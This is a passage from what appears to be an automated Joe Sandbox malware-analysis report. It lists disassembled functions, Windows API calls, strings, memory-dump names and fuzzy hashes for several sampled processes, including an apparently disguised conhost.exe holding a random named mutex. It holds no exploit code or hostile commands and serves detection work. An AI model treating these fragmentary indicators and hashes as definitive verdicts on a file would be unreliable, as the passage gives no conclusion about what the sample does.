Opcode ID: bd30640544400112bda263059d25dfa4f300cea990a2939415bae1918ed4c32b
Instruction ID: dce8ddd683a3d136370d53ea9f2b8874d844d815cd930ad77e78ae8937ebee83
Opcode Fuzzy Hash: bd30640544400112bda263059d25dfa4f300cea990a2939415bae1918ed4c32b
Instruction Fuzzy Hash: 07211521E0F99281F7769FB5D9403752370BF14B52F54013AC99EC7AA5DF2CB84A8328

Function 00007FF6C8A81E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF6C8A81E27

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: da9c76a61842908cf903703235d0d4863a7884e919b126ce5990a6cec40a2844
Instruction ID: 912dcba4abaa463bb6a35f70f642aa8122778971a699effc778344e02f73313a
Opcode Fuzzy Hash: da9c76a61842908cf903703235d0d4863a7884e919b126ce5990a6cec40a2844
Instruction Fuzzy Hash: 1C21B331F0F58682FA794EB4958037911819F84766F258637DD9EC33D4DFACACC18269

Function 00007FF6C8A81880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6C8A81247), ref: 00007FF6C8A819F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF6C8A81B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF6C8A81B8B

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 0ef262cf3ccb972c3f14d58c60cc9a33db70c6d95190220c0407ecf165c005a2
Instruction ID: e579600daaf51273847077c9d465f219b68733f793ecffac81b886ff9a8c1efc
Opcode Fuzzy Hash: 0ef262cf3ccb972c3f14d58c60cc9a33db70c6d95190220c0407ecf165c005a2
Instruction Fuzzy Hash: B5515C21F0A586C6EB608FB6E8407B477A1FB04B96F084236D99D87794DF3CE586C718

Function 00007FF6C8A81800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF6C8A8185A

Strings

Unknown error, xrefs: 00007FF6C8A81824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6C8A8184D

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 704f56c8e7ea78c66ebc945786fbe91d78ce8dd8e3922bdf026547f6ae3df8ac
Instruction ID: 26e0a07a6ff25a896b7e63c825cac358bf42d4faf71a6ec8e5d97cbf2494a9cd
Opcode Fuzzy Hash: 704f56c8e7ea78c66ebc945786fbe91d78ce8dd8e3922bdf026547f6ae3df8ac
Instruction Fuzzy Hash: 53F0C212E1EAC582E670AFB4A9410BDA361EB593C2F409232DECDD3251DF2CF1828314

Function 00007FF6C8A8219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6C8A821B2
TlsGetValue.KERNEL32 ref: 00007FF6C8A821EB
GetLastError.KERNEL32 ref: 00007FF6C8A821F0
LeaveCriticalSection.KERNEL32 ref: 00007FF6C8A8226C

Memory Dump Source

Source File: 00000000.00000002.2093404146.00007FF6C8A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6C8A80000, based on PE: true

Associated: 00000000.00000002.2093384816.00007FF6C8A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093423678.00007FF6C8A89000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093476530.00007FF6C8A8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093495979.00007FF6C8A8C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094123211.00007FF6C8D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094147388.00007FF6C8D04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c8a80000_feZvV3DCj8.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6688d56efccb24aecc358c95e87d0ba35f93b0bdae73840f2d81aa02a5487b05
Instruction ID: bc727285345de6fe87dfabd3c200d549527aa05b2b6ff06eb3b5cccac9aa4e01
Opcode Fuzzy Hash: 6688d56efccb24aecc358c95e87d0ba35f93b0bdae73840f2d81aa02a5487b05
Instruction Fuzzy Hash: EC012135A0FA8281F6769FB5ED003341270BF14F92F54013AC98EC3A94DF2CB85A9318

Analysis Process: sujlgqpnxcwv.exePID: 7348, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1624
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6953D1160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF6953D1156), ref: 00007FF6953D11A5
_amsg_exit.MSVCRT(?,?,?,00007FF6953D1156), ref: 00007FF6953D11CC
_initterm.MSVCRT ref: 00007FF6953D120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6953D1156), ref: 00007FF6953D124E
malloc.MSVCRT ref: 00007FF6953D127E
strlen.MSVCRT ref: 00007FF6953D12A4
malloc.MSVCRT ref: 00007FF6953D12B0
memcpy.MSVCRT ref: 00007FF6953D12C3
_cexit.MSVCRT(?,?,?,00007FF6953D1156), ref: 00007FF6953D132D

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: 37955e2aff95878e925fb9aa55f42ba73ecc3a00989b4b7315e030181e99ab27
Instruction ID: bc6a60fcb5a310044d7549d3759d107188a526da0e0cdc85fefc33708bbdf794
Opcode Fuzzy Hash: 37955e2aff95878e925fb9aa55f42ba73ecc3a00989b4b7315e030181e99ab27
Instruction Fuzzy Hash: 21511572E2964686F7719B66E9503B967F1EF44F80F4450BAD90DC73A2EE2CAC56C300

Function 00007FF6953D1394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtGetCompleteWnfStateSubscription.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6953D1156), ref: 00007FF6953D13F7

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: CompleteStateSubscription
String ID:
API String ID: 546726117-0
Opcode ID: f2dc4815e540200b7a1c6042ab8abd58de28f17223af15ac61de83993256cd62
Instruction ID: 55999fbf0c354ab83342c78035211e3e768769c8de7a90650dbe18b590245caf
Opcode Fuzzy Hash: f2dc4815e540200b7a1c6042ab8abd58de28f17223af15ac61de83993256cd62
Instruction Fuzzy Hash: B8F0C971918B4586D624CB51F86142A77B0FB48B80F00857EEA9C87725EF3CE8608F40

Non-executed Functions

Function 00007FF6953D3350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF6953D33B2
memset.MSVCRT ref: 00007FF6953D3445
wcscpy.MSVCRT ref: 00007FF6953D349D
wcscat.MSVCRT ref: 00007FF6953D34A8
wcslen.MSVCRT ref: 00007FF6953D34B9
memset.MSVCRT ref: 00007FF6953D35D4
wcscpy.MSVCRT ref: 00007FF6953D3635
wcscat.MSVCRT ref: 00007FF6953D3640
wcslen.MSVCRT ref: 00007FF6953D3654

Strings

, xrefs: 00007FF6953D36DD
0, xrefs: 00007FF6953D368D
@, xrefs: 00007FF6953D34F1
0, xrefs: 00007FF6953D34E6
@, xrefs: 00007FF6953D3698

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 5e52a1296da189d800f6c0e8467a83942f82c4d4e7e5a5cf51910de0e12c24a8
Instruction ID: 6f7d396ca04012c65f4cfe7066d6ba45779293776fd6fa053392cbfb26d5496b
Opcode Fuzzy Hash: 5e52a1296da189d800f6c0e8467a83942f82c4d4e7e5a5cf51910de0e12c24a8
Instruction Fuzzy Hash: ABB1512191C6C185F3318B14E4453BA77F0FF94B48F44027AEA88966A5EF7DE946CB00

Function 00007FF6953D2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF6953D2795
memset.MSVCRT ref: 00007FF6953D2865
wcscpy.MSVCRT ref: 00007FF6953D28CE
wcscat.MSVCRT ref: 00007FF6953D28D9
wcslen.MSVCRT ref: 00007FF6953D28E1
wcslen.MSVCRT ref: 00007FF6953D28F6
wcslen.MSVCRT ref: 00007FF6953D296D
wcslen.MSVCRT ref: 00007FF6953D29E8

Strings

`, xrefs: 00007FF6953D2B91
X, xrefs: 00007FF6953D2B79
0, xrefs: 00007FF6953D279A

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 4853977d68685c9e7870a20e92785699492a4c0a8cd6dd4256d23187e1c16e30
Instruction ID: b8b29ae481fede55e71b5e3277d86841f4e425d48b6b91a47a0ad48d8bb18e40
Opcode Fuzzy Hash: 4853977d68685c9e7870a20e92785699492a4c0a8cd6dd4256d23187e1c16e30
Instruction Fuzzy Hash: 8A025C32918BC185E7318B15E8443AA77E4FB85BA4F40427AEAAC877E6EF7CD545C700

Function 00007FF6953D1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF6953DA498,00007FF6953DA498,?,?,00007FF6953D0000,?,00007FF6953D1991), ref: 00007FF6953D1C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF6953DA498,00007FF6953DA498,?,?,00007FF6953D0000,?,00007FF6953D1991), ref: 00007FF6953D1CC7
memcpy.MSVCRT ref: 00007FF6953D1CE0
GetLastError.KERNEL32(?,?,?,?,00007FF6953DA498,00007FF6953DA498,?,?,00007FF6953D0000,?,00007FF6953D1991), ref: 00007FF6953D1D23

Strings

Address %p has no image-section, xrefs: 00007FF6953D1CF4
VirtualProtect failed with code 0x%x, xrefs: 00007FF6953D1D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6953D1D17

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: d077828e396ccefabc588e02dc7c4197bd98e075e1358814a4a48582c3c505dd
Instruction ID: b31e951d1827b6c1877fb1ad4cb58a77b1006f19533b3cca5edfdf036b7b9e0f
Opcode Fuzzy Hash: d077828e396ccefabc588e02dc7c4197bd98e075e1358814a4a48582c3c505dd
Instruction Fuzzy Hash: 414192B1A29A4682EA718B42D8446B927F4FB84F80F5541BBDD1DC73A1EE3CED42D300

Function 00007FF6953D2104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6953D2118
TlsGetValue.KERNEL32 ref: 00007FF6953D214F
GetLastError.KERNEL32 ref: 00007FF6953D2154
LeaveCriticalSection.KERNEL32 ref: 00007FF6953D2212
free.MSVCRT ref: 00007FF6953D2234
DeleteCriticalSection.KERNEL32 ref: 00007FF6953D225D

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: bd30640544400112bda263059d25dfa4f300cea990a2939415bae1918ed4c32b
Instruction ID: 40e8467ab67278ccbe723f91d7835c8710aa078e99877ad065ad9fd4d35f746f
Opcode Fuzzy Hash: bd30640544400112bda263059d25dfa4f300cea990a2939415bae1918ed4c32b
Instruction Fuzzy Hash: E721CC71A6990281FAB69B52E94427523F4FF14F90F4450BAE91EC7AB5EF2CAC479300

Function 00007FF6953D1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF6953D1E27

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: da9c76a61842908cf903703235d0d4863a7884e919b126ce5990a6cec40a2844
Instruction ID: 642262b41f00aad4fdd090437085016f38fef11dc906866c03c79c2ec3b354f2
Opcode Fuzzy Hash: da9c76a61842908cf903703235d0d4863a7884e919b126ce5990a6cec40a2844
Instruction Fuzzy Hash: 9F21AC22F2D10643FA744264958037993E5DF89FA4F2486BBDA1DC73D9EE2CAC828251

Function 00007FF6953D1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6953D1247), ref: 00007FF6953D19F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF6953D1B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF6953D1B7B

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 0ef262cf3ccb972c3f14d58c60cc9a33db70c6d95190220c0407ecf165c005a2
Instruction ID: 97fe29f7eb850694fda34671571ae548e3d18f51561526846286ca3fca32db2d
Opcode Fuzzy Hash: 0ef262cf3ccb972c3f14d58c60cc9a33db70c6d95190220c0407ecf165c005a2
Instruction Fuzzy Hash: E2515E72E28546C6EB218B62D8407B427F1FB04F98F44417AD92C877A5EE3CED96D700

Function 00007FF6953D1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF6953D185A

Strings

Unknown error, xrefs: 00007FF6953D1824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6953D184D

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 704f56c8e7ea78c66ebc945786fbe91d78ce8dd8e3922bdf026547f6ae3df8ac
Instruction ID: 3f2d0230fd2f36c4d419eee030f91a79a8861a1aa58583a7aa99f8396d1bdd60
Opcode Fuzzy Hash: 704f56c8e7ea78c66ebc945786fbe91d78ce8dd8e3922bdf026547f6ae3df8ac
Instruction Fuzzy Hash: 05F0FC12E2C94582E631EB24E9410BDA3B1EB49BC0F40927AEE4DD3251FF2CF541C300

Function 00007FF6953D219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6953D21B2
TlsGetValue.KERNEL32 ref: 00007FF6953D21EB
GetLastError.KERNEL32 ref: 00007FF6953D21F0
LeaveCriticalSection.KERNEL32 ref: 00007FF6953D226C

Memory Dump Source

Source File: 00000018.00000002.2120496544.00007FF6953D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6953D0000, based on PE: true

Associated: 00000018.00000002.2120482427.00007FF6953D0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120511683.00007FF6953D9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120526784.00007FF6953DB000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000018.00000002.2120719781.00007FF695654000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6953d0000_sujlgqpnxcwv.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 6688d56efccb24aecc358c95e87d0ba35f93b0bdae73840f2d81aa02a5487b05
Instruction ID: 9e40eb8452108873993ff66e1efd3c779ec588a7b6ac940215db4f12690f792f
Opcode Fuzzy Hash: 6688d56efccb24aecc358c95e87d0ba35f93b0bdae73840f2d81aa02a5487b05
Instruction Fuzzy Hash: 5201DE35A2990281E6B68B52ED0427813F5FF14F91F4440BAE91DC3AA4EF2CAD56D300

Analysis Process: conhost.exePID: 7664, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	851
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001394 Relevance: 1.5, APIs: 1, Instructions: 24
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryAttributesFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001156), ref: 00000001400013F7

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: AttributesFileQuery
String ID:
API String ID: 2106648053-0
Opcode ID: 3210746a9923182c7327b5e3e833e7d58ed368a322bb56d3eeddf1d7b1502087
Instruction ID: ea77cefef780fe59d28cb35e84be700af1ff747ec22ba00de631e0254e728e30
Opcode Fuzzy Hash: 3210746a9923182c7327b5e3e833e7d58ed368a322bb56d3eeddf1d7b1502087
Instruction Fuzzy Hash: C7F0A4B2608B408AEA11DB52F85179A77A1F38D7C0F005919BBC947735DB3CC150CB40

Non-executed Functions

Function 00000001400026E0 Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00000001400028F4
wcscpy.MSVCRT ref: 0000000140002A25
wcscat.MSVCRT ref: 0000000140002A30
wcslen.MSVCRT ref: 0000000140002A38
wcslen.MSVCRT ref: 0000000140002A50
wcslen.MSVCRT ref: 0000000140002AB0
wcslen.MSVCRT ref: 0000000140002B02

Strings

`, xrefs: 0000000140002CAB
0, xrefs: 00000001400028F9
X, xrefs: 0000000140002C93
\BaseNamedObjects\junxqbmktvulboxnpoqmkcbx, xrefs: 00000001400026E9

Memory Dump Source

Source File: 00000025.00000002.3325952695.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000025.00000002.3325921532.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325974877.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3325990886.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000025.00000002.3326007867.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_140000000_conhost.jbxd

Similarity

API ID: wcslen$wcscatwcscpywcsncmp
String ID: 0$X$\BaseNamedObjects\junxqbmktvulboxnpoqmkcbx$`
API String ID: 597572034-3325502807
Opcode ID: b0d968407ba984426df5126db110b0cdafdb1dd8145b4c5d778ce10dd2986eee
Instruction ID: 95396c9ea792d0f80199f5679fdc019637db32f3356e7d4bcb08f618a55a9ea5
Opcode Fuzzy Hash: b0d968407ba984426df5126db110b0cdafdb1dd8145b4c5d778ce10dd2986eee
Instruction Fuzzy Hash: B31248B2608BC481E762CB16F8443EAB7A4F789794F414215EBA857BF5EF78C189C700

Function 0000000140001160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,0000000140001156), ref: 00000001400011A5
_amsg_exit.MSVCRT(?,?,?,0000000140001156), ref: 00000001400011CC
